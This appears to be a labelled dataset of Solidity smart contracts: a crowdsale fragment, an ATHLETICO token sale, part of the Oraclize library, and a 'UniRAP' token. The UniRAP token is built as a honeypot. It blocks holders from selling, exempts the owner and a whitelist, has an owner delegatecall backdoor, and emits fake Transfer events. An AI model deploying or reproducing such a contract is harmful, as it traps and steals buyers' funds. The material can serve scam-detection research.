require(now >= START_DATE || (msg.sender == owner && msg.value == TEST_CONTRIBUTION));
require(!closed);
require(addressCanContribute(msg.sender));
require(msg.value >= ethMinContribution || (msg.sender == owner && msg.value == TEST_CONTRIBUTION));
uint ethAmount = msg.value;
uint ethRefund = 0;
if (contributedEth.add(ethAmount) > ethCap()) {
ethAmount = ethCap().sub(contributedEth);
ethRefund = msg.value.sub(ethAmount);
}
require(ethAmount > 0);
uint usdAmount = ethAmount * usdPerKEther / 10**uint(3 + 18);
contributedEth = contributedEth.add(ethAmount);
contributedUsd = contributedUsd.add(usdAmount);
mint(msg.sender, ethAmount);
wallet.transfer(ethAmount);
Contributed(msg.sender, ethAmount, ethRefund, usdAmount, contributedEth, contributedUsd);
if (ethRefund > 0) {
msg.sender.transfer(ethRefund);
}
}
} | 1 | 3,431 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniRAP {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 196 |
pragma solidity 0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b,"Math error");
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0,"Math error");
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a,"Math error");
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a,"Math error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"Math error");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal balances_;
mapping (address => mapping (address => uint256)) private allowed_;
uint256 private totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[msg.sender],"Invalid value");
require(_to != address(0),"Invalid address");
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances_[_from],"Value is more than balance");
require(_value <= allowed_[_from][msg.sender],"Value is more than alloved");
require(_to != address(0),"Invalid address");
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed_[msg.sender][_spender] = (allowed_[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0,"Invalid address");
totalSupply_ = totalSupply_.add(_amount);
balances_[_account] = balances_[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0,"Invalid address");
require(_amount <= balances_[_account],"Amount is more than balance");
totalSupply_ = totalSupply_.sub(_amount);
balances_[_account] = balances_[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
}
library SafeERC20 {
function safeTransfer(
IERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value),"Transfer error");
}
function safeTransferFrom(
IERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value),"Tranfer error");
}
function safeApprove(
IERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value),"Approve error");
}
}
contract Pausable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"Contract is paused, sorry");
_;
}
modifier whenPaused() {
require(paused, "Contract is running now");
_;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ATHLETICOToken is ERC20Pausable {
string public constant name = "ATHLETICO TOKEN";
string public constant symbol = "ATH";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000000 * 1 ether;
address public CrowdsaleAddress;
bool public ICOover;
mapping (address => bool) public kyc;
mapping (address => uint256) public sponsors;
event LogSponsor(
address indexed from,
uint256 value
);
constructor(address _CrowdsaleAddress) public {
CrowdsaleAddress = _CrowdsaleAddress;
_mint(_CrowdsaleAddress, INITIAL_SUPPLY);
}
modifier onlyOwner() {
require(msg.sender == CrowdsaleAddress,"Only CrowdSale contract can run this");
_;
}
modifier validDestination( address to ) {
require(to != address(0),"Empty address");
require(to != address(this),"RESTO Token address");
_;
}
modifier isICOover {
if (msg.sender != CrowdsaleAddress){
require(ICOover == true,"Transfer of tokens is prohibited until the end of the ICO");
}
_;
}
function transfer(address _to, uint256 _value) public validDestination(_to) isICOover returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public validDestination(_to) isICOover returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function mint(address to, uint256 _value) public onlyOwner {
_mint(to, _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
sponsors[msg.sender] = sponsors[msg.sender].add(_value);
emit LogSponsor(msg.sender, _value);
}
function kycPass(address _investor) public onlyOwner {
kyc[_investor] = true;
}
function kycNotPass(address _investor) public onlyOwner {
kyc[_investor] = false;
}
function setICOover() public onlyOwner {
ICOover = true;
}
function transferTokensFromSpecialAddress(address _from, address _to, uint256 _value) public onlyOwner whenNotPaused returns (bool){
require (balances_[_from] >= _value,"Decrease value");
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
contract Ownable {
address public owner;
address public DAOContract;
address private candidate;
constructor() public {
owner = msg.sender;
DAOContract = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"Access denied");
_;
}
modifier onlyDAO() {
require(msg.sender == DAOContract,"Access denied");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0),"Invalid address");
candidate = _newOwner;
}
function setDAOContract(address _newDAOContract) public onlyOwner {
require(_newDAOContract != address(0),"Invalid address");
DAOContract = _newDAOContract;
}
function confirmOwnership() public {
require(candidate == msg.sender,"Only from candidate");
owner = candidate;
delete candidate;
}
}
contract TeamAddress {
}
contract BountyAddress {
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20 for ATHLETICOToken;
event LogStateSwitch(State newState);
event LogRefunding(address indexed to, uint256 amount);
mapping(address => uint) public crowdsaleBalances;
uint256 public softCap = 250 * 1 ether;
address internal myAddress = this;
ATHLETICOToken public token = new ATHLETICOToken(myAddress);
uint64 public crowdSaleStartTime;
uint64 public crowdSaleEndTime = 1559347200;
uint256 internal minValue = 0.005 ether;
TeamAddress public teamAddress = new TeamAddress();
BountyAddress public bountyAddress = new BountyAddress();
uint256 public rate;
uint256 public weiRaised;
event LogWithdraw(
address indexed from,
address indexed to,
uint256 amount
);
event LogTokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
enum State {
Init,
CrowdSale,
Refunding,
WorkTime
}
State public currentState = State.Init;
modifier onlyInState(State state){
require(state==currentState);
_;
}
constructor() public {
uint256 totalTokens = token.INITIAL_SUPPLY();
_deliverTokens(teamAddress, totalTokens.div(10));
_deliverTokens(bountyAddress, totalTokens.div(20));
rate = 20000;
setState(State.CrowdSale);
crowdSaleStartTime = uint64(now);
}
function finishCrowdSale() public onlyInState(State.CrowdSale) {
require(now >= crowdSaleEndTime || myAddress.balance >= softCap, "Too early");
if(myAddress.balance >= softCap) {
setState(State.WorkTime);
token.setICOover();
} else {
setState(State.Refunding);
}
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
crowdsaleBalances[_beneficiary] = crowdsaleBalances[_beneficiary].add(weiAmount);
emit LogTokensPurchased(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function setState(State _state) internal {
currentState = _state;
emit LogStateSwitch(_state);
}
function pauseCrowdsale() public onlyOwner {
token.pause();
}
function unpauseCrowdsale() public onlyOwner {
token.unpause();
}
function setRate(uint256 _newRate) public onlyDAO {
rate = _newRate;
}
function setKYCpassed(address _investor) public onlyDAO returns(bool){
token.kycPass(_investor);
return true;
}
function setKYCNotPassed(address _investor) public onlyDAO returns(bool){
token.kycNotPass(_investor);
return true;
}
function transferTokensFromTeamAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(teamAddress), _investor, _value);
return true;
}
function transferTokensFromBountyAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(bountyAddress), _investor, _value);
return true;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view{
require(_beneficiary != address(0),"Invalid address");
require(_weiAmount >= minValue,"Min amount is 0.005 ether");
require(currentState != State.Refunding, "Only for CrowdSale and Work stage.");
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function transferTokens(address _newInvestor, uint256 _tokenAmount) public onlyDAO {
_deliverTokens(_newInvestor, _tokenAmount);
}
function mintTokensToWinners(address _address, uint256 _tokenAmount) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
token.mint(_address, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonus = 0;
uint256 resultAmount = _weiAmount;
if (now >= crowdSaleStartTime && now < 1546300800) {
bonus = 100;
}
if (now >= 1546300800 && now < 1548979200) {
bonus = 50;
}
if (now >= 1548979200 && now < 1551398400) {
bonus = 25;
}
if (bonus > 0) {
resultAmount += _weiAmount.mul(bonus).div(100);
}
return resultAmount.mul(rate);
}
function refund() public payable{
require(currentState == State.Refunding, "Only for Refunding stage.");
uint value = crowdsaleBalances[msg.sender];
crowdsaleBalances[msg.sender] = 0;
msg.sender.transfer(value);
emit LogRefunding(msg.sender, value);
}
function withdrawFunds (address _to, uint256 _value) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
require (myAddress.balance >= _value,"Value is more than balance");
require(_to != address(0),"Invalid address");
_to.transfer(_value);
emit LogWithdraw(msg.sender, _to, _value);
}
} | 1 | 3,935 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
